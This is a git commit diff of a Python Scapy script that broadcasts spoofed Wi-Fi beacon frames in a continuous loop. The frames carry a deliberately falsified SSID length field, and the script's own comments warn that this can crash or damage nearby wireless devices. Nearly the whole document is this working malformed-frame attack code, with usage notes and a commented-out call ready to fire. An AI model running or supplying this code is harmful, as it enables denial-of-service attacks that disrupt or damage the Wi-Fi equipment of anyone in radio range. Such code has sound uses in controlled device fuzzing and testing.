This commit is contained in:
2025-08-08 13:51:11 -06:00
parent ffcd079a08
commit 7d73861153
2 changed files with 30 additions and 16 deletions
+21 -10
View File
@@ -1,19 +1,30 @@
from scapy.all import *
# config your stuff here
iface = 'wlan1'
sender = RandMAC()
iface = 'wlan0'
sender_bssid_mac = RandMAC() # used for source mac and bssid
# send raw wifi beacon frames
def beacon_raw(SSID, length=255):
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=RandMAC(), addr3=RandMAC())
beacon = Dot11Beacon()
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=length)
frame = RadioTap()/dot11/beacon/essid
## USAGE:
### beacon_raw(<SSID>, <REPORTED SSID LENGTH IN 8 BIT BYTES>, <INTERVAL IN SECONDS>)
### or
### beacon_raw(SSID=<SSID>, reported_length=<REPORTED SSID LENGTH IN 8 BIT BYTES>, interval_seconds=<INTERVAL IN SECONDS>)
## DEFAULTS:
### SSID="DUMMY SSID"
### reported_length=255
### interval_seconds=0.250
def beacon_raw(SSID="DUMMY SSID", reported_length=255, interval_seconds=0.250):
# addr1 is destination (broadcast), addr2 is the source mac, addr3 is the bssid
dot11 = Dot11(type=0, subtype=8, addr1='ff:ff:ff:ff:ff:ff', addr2=sender_bssid_mac, addr3=sender_bssid_mac) # set the frame settings
beacon = Dot11Beacon() # create the beacon
essid = Dot11Elt(ID='SSID',info=RawVal(SSID), len=reported_length) # magic really happens here with Scapy's RawVal() function and the reported_length
frame = RadioTap()/dot11/beacon/essid # assemble the frame
print("FIRIN MY LAZORRRRRR")
sendp(frame, iface=iface, inter=0.250, loop=1)
sendp(frame, iface=iface, inter=interval_seconds, loop=1) # send on loop
# this can be most any value really experimentation is needed
ssid_binary = 0b0101 # a few random bits to send as the SSID
# please be careful with this, it can crash your local wifi devices
# beacon_raw(ssid_binary, length=255) # send it
# please be careful with this, it can crash or damage your local wifi devices
# beacon_raw(ssid_binary) # send it! USE WITH EXTREME CARE